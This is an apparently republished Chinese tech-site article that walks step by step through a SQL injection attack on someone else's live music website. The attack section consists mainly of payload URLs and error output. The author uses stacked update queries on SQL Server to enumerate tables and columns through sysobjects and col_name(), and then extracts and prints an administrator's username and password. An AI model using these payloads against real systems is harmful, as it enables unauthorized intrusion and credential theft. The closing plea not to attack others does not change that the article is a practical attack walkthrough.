学院首页 软件应用 编程开发 创意设计 认证培训 软件论坛
ASP ASP.NET PHP JSP SQL MYSQL Java VB

您的位置:学院 >> 编程开发 >> SQL >> 有孔就入 SQL Injection的深入探讨


有孔就入 SQL Injection的深入探讨


SQL Injection这个话题越来越热了,很多的论坛和hack站点都或多或少地在谈论这个问题,当然也有很多革命前辈写了N多的关于这方面的文章,所利用的也是许多知名的程序,比如动网,尘缘雅境,而我们也可以拿到免费的程序来看其中的漏洞和数据库的结构,从中来达到注入的目的,不过如果是别人自己写的程序,那么我们就不知道他的源代码,更不知道他的数据库结构(数据表名和其中的字段名),就算有个变量未过滤提交到数据库去,我们也是无从对其下手的,只能利用通过猜解他的数据库结构来构造相应的SQL语句,那么是不是就到此为止,能猜到多少是多少呢?没有做不到的,只有想不到的,我相信这篇文章对研究SQL Injection朋友来说,应该会有所启发。

一、发现漏洞,常规注入

最近帮我们的站增加音乐,虽然本地的电信的音乐资源库非常丰富,但是缺少有关歌手和专辑的资料,所以到网上去闲逛找点有用的图片和歌手简介,通过百度搜索到了一个mp3的音乐超市,里面的资料还是比较丰富的,拷贝的同时顺手在他的Specialid=1817后面加了一个(单引号),我突然眼前一亮:

Microsoft OLE DB Provider for SQL Server 错误 80040e14 
字符串 之前有未闭合的引号。 
/showspecial.asp,行13

Specialid没有过滤掉单引号就直接用到SQL语句中去了,而且是SQL SERVER版本的,漏洞的可利用性极大,可不能就此放过这么好的练兵机会,接着换;(分号)提交进去,居然页面正常出来了,说明该变量也没有过滤掉;号,到这里,我们就可以对此进行SQL渗透了,按照常规的步骤:

1、提交http://********/showspecial.asp?Specialid=1817;use master;--

注:--的作用是注释掉程序中后面的SQL语句,以防对我们构造的语句有影响,比如order by..出现

Microsoft OLE DB Provider for SQL Server 错误 80040e21 
多步 OLE DB 操作产生错误。如果可能,请检查每个 OLE DB 状态值。没有工作被完成。 
/showspecial.asp,行13

想在他的数据库里增加一个管理员是不可能了,我们再换一种方法

2、提交http://********/showspecial.asp?Specialid=1817 and 1<>(select count(id) from [user])

这一句的意思是猜猜看是不是存在一个名为user的表和他里面有没有id这个字段。一般来说:如果不存在该表的话,会出现

Microsoft OLE DB Provider for SQL Server 错误 80040e37 
对象名 user 无效。 
/showspecial.asp,行13

不存在该字段的话,会出现

Microsoft OLE DB Provider for SQL Server 错误 80040e14 
列名 id 无效。 
/showspecial.asp,行13

注:一般来说,第一步是猜一些公共的表,这里所指的公共表的意思是大多数的程序员在写设计数据库结构的时候会用到的常用的表和字段,比如新闻的news表中的编号字段id,标题字段title,用户表user或者user_data中的编号字段id,用户名字段username,当然你也可以在该站点的登陆界面看他的原代码,找到用户名和密码的表单的name值,那个也经常会是表字段名的真实值,如很幸运,果然存在user表和id字段。

3、通过提交http://********/showspecial.asp?Specialid=1817 and 1<>(select count(username) from [user])

这里的username是根据登陆框的表单名去猜的,恰好存在该字段。于是在该站注册了一个用户名为rrrrr的用户,作为注入的平台,得到我的用户名的id值103534

4、继续猜下去,这里我还是利用的他程序中的表单名,提交:

http://********/showspecial.asp?Specialid=1817 and 1<>(select count(email) from [user])

也存在,好了,到这里,我们的平台已经搭建好了。

二、深入研究,让SQL自己招数据库结构

很多时候,我们只能猜到大家比较熟用的表名,如果是非原程序公开下载的,我们很猜到他的真实数据库结构,有时候猜半天都猜不到,令人很郁闷,那么该如何拿到他的表结构呢?我们知道SQL SERVER的每一个数据库都会有用户表和系统表,根据SQL SERVER的联机帮助描述是系统表sysobjects:在数据库内创建的每个对象(约束、默认值、日志、规则、存储过程等)在表中占一行,那么也就是说当前数据库的表名都会在该表内有存在,(对象名 admin 无效。大家可以看到上面出现的报错把表名描述成对象)。

我们要用的是其中的3个,描述如下(详细的见SQL SERVER的联机帮助):

name 数据表的名字;

xtype 数据表的类型 u为用户表;

id 数据表的对象标志;

status 保留字段,用户表一般都是大于0的。

在查询分析器执行以下SQL语句(以我本地的数据库为例子):

select top 1 name from sysobjects where xtype=u and status>0

我们马上就可以得到该数据库下用户表的第一个表名gallery:

select top 1 id from sysobjects where xtype=u and name=gallery

我们马上就可以得到该数据库下用户表的第一个表名gallery的对象标志2099048:

select top 1 name from sysobjects where xtype=u and id>2099048

再得到第2个表名gb_data,这里用到的是id>2099048,因为对象标志id是根据由小到大排列的。

以此类推,我们可以得到所有的用户表的名字了。接下来,我们要根据得到的表名取他的字段名,这里我们用到的是系统自带的2个函数col_name()和object_id(),在查询分析器执行以下SQL语句(以我本地的数据库为例子):

select top 1 col_name(object_id(gallery),1) from gallery

得到gallery表的第一个字段名为id。

注:

col_name()的语法

COL_NAME ( table_id , column_id )

参数

table_id:包含数据库列的表的标识号。table_id 属于 int 类型。

column_id:列的标识号。column_id 参数属于 int 类型。

其中我们用object_id()函数来得到该表的标识号,1、2、3。。表示该表的第1个、第2个、第3个。。字段的标识号,以此类推得到该表所有的字段名称。











三、再次渗透攻击

经过上面2步的热身,接下来我们该利用建立好的平台实际操作演练一下了,依然是那个页,我们提交。

http://******/showspecial.asp?
Specialid=1817;update[user]set 
email=(select top 1 name from sysobjects 
where xtype=u and status>0) where id=103534;--

服务器返回

ADODB.Recordset 错误 800a0cb3

当前记录集不支持更新。这可能是提供程序的限制,也可能是选定锁定类型的限制。

/showspecial.asp,行19

出师不利,可能该页记录集打开方式是只读,我们再换一个页

找到http://******/ShowSinger.asp?Classid=34&SClassid=35的SClassid同样存在问题,于是提交

http://******/ShowSinger.asp?
Classid=34&SClassid=35;update 
[user] set email=(select top 1 name from sysobjects
 where xtype=u and status>0) where id=103534;--

把第一个数据表的名字更新到我的资料的email项里去,得到第一个表名为:lmuser

http://******/ShowSinger.asp
?Classid=34&SClassid=35;update 
[user] set email=(select top 1 id from sysobjects 
where xtype=u and name=lmuser) where id=103534;--

得到第一个表lmuser的id标识号为:363148339

http://******/ShowSinger.asp?Classid=34&SClassid=35;update [user] set email=(select top 1 name from sysobjects where xtype=u and id>363148339) where id=103534;--

得到第二个表名为:ad。这里我们利用的是数据表的对象标志id是升序排列的特点,以此类推继续取……(由于篇幅问题,中间省略n步),最后我们得到了所有的表名,发现其中有个表admin,哈,很可能就是管理员的列表了。

好,接下来我们就取该表的字段名

http://******/ShowSinger.asp?
Classid=34&SClassid=35;update
 [user] set email=(select top 1 col_name(object_id(admin),1) 
from admin) where id=103534;--

得到第1个字段为:id

http://******/ShowSinger.asp?
Classid=34&SClassid=35;update 
[user] set email=(select top 1 col_name(object_id(admin),2) 
from admin) where id=103534;--

得到第2个字段为:username

http://******/ShowSinger.asp?
Classid=34&SClassid=35;update 
[user] set email=(select top 1 col_name(object_id(admin),3)
 from admin) where id=103534;--

得到第2个字段为:password

到此,管理员列表的3个关键字段已经给我们拿到,接下来要拿用户名和密码就比较省力了,首先拿管理员的id值,这个比较简单,我就不再详细说了。

我们拿到的id值是44

http://******/ShowSinger.asp?
Classid=34&SClassid=35;update 
[user] set email=(select top 1 username from admin 
where id=44) where id=103534;--

将该管理员的用户名更新到email项 ,拿到的username为:gscdjmp3

http://******/ShowSinger.asp?
Classid=34&SClassid=35;update
 [user] set email=(select top 1 password from admin
 where id=44) where id=103534;--

将该管理员的密码更新到email项,拿到的password为:XZDC9212CDJ

怎么样,拿到密码了吧?

四、总结

在我们对一个不知道原代码的有SQL Iinjection漏洞的程序进行注入的时候,往往很难猜到作者设置的数据库结构,只能通过编写程序时的经验来猜几个比较常用的表和字段,这样给注入带来了很多的麻烦,会因为猜不到结构而放弃,这时候大家不妨试试这个方法,或许对你有所帮助,这里我们通过更新我们的一个注册用户的信息来拿到结果,如果是新闻系统的话,可以通过更新到某个新闻的title来拿结果。最后,值得提出的是,请大家不要拿该方法去恶意攻击其他的程序,谢谢!

技术文章快速查找

栏目导航
软件应用
·操作系统 ·杀毒防黑 ·应用软件
·聊天软件 ·网络软件  
Web开发
·ASP ·JavaScript ·CGI
·JSP ·VbScript ·Web服务器
·PHP ·XML  
开发语言
·VB ·VC ·ASP.NET
·Java ·C/C++ ·Delphi
数据库开发
·MySQL ·SQL/Access ·PowerBuilder
·Oracle ·DB2  
网站设计
·Flash ·Dreamweaver ·HTML/CSS
·Fireworks ·FrontPage  
平面设计
·Photoshop ·CorelDraw ·AutoCAD
·FreeHand ·Illustrator ·3DsMAX
媒体动画
·Director ·Authorware ·Maya
·视频处理    


相关软件 产品库推荐
·笔记本 ·台式机 ·服务器
·数码相机 ·手机 ·GPS
·DV摄像机 ·MP3 ·MP4
·CPU ·硬盘 ·内存
·主板 ·显卡 ·显示器
·打印机 ·投影机 ·路由器

还没人留言,抢个先,哈哈!
对"有孔就入 SQL Injection的深入探讨"的评论 - 快速回贴
内容:
  [完成后可按Ctrl+Enter发布]

百度中 有孔就入 SQL Injection的深入探讨 相关内容
Google搜索中 有孔就入 SQL Injection的深入探讨 相关内容
雅虎中 有孔就入 SQL Injection的深入探讨 相关内容
Sogou搜索中 有孔就入 SQL Injection的深入探讨 相关内容

相关软件 最新回复帖子:

·Windows Vista 中卸载软件的不同方式
·没有mysql支持时的替代方案
·一个可以发送附件及HTML格式邮件的PHP类
·AutoCAD打造精致三维鸟笼实例详解
·Photoshop自定义水晶字特效样式
·AutoCAD三维基础实例教程
·PS为黑背景长发美女照片抠图换背
·用Photoshop自制个性摩托车贴花小经验
·轻松几步将美女照片处理为手工素描
·巧用Photoshop画笔轻松绘制创意特效


  相关软件 有孔就入 SQL Injection的深入探讨相关文章
详解SQL注入攻击的原理及其防御措施 突破一流信息监控拦截系统进行SQL注射
安防有道:实施自动SQL注入攻击测试 深入浅出SQL教程之嵌套SELECT语句
解决MSSQL占用过多内存的简单方法介绍 SQL Server连接VFP数据库的实现方法
实例演示在SQL数据库中启用全文检索 应用事件探查器优化SQL Server系统
SQL Server中读取XML文件的简单做法 检测解决SQLServer延迟阻塞I/O问题
从Oracle到SQL Server-SQL智能翻译器 教你三步堵死SQL数据库的注入漏洞
用SQL*PLUS构建完美excel或html输出 SQL和Access操作数据库结构SQL语句
SQL Server2000索引结构及使用方法 SQL Server应用程序高级SQL注入(上)
SQL Server应用程序高级SQL注入(下) SQL Server的内存不断增加问题探讨
把Access转成SQL数据库的方法介绍 学会建立安全模型以保护SQL Server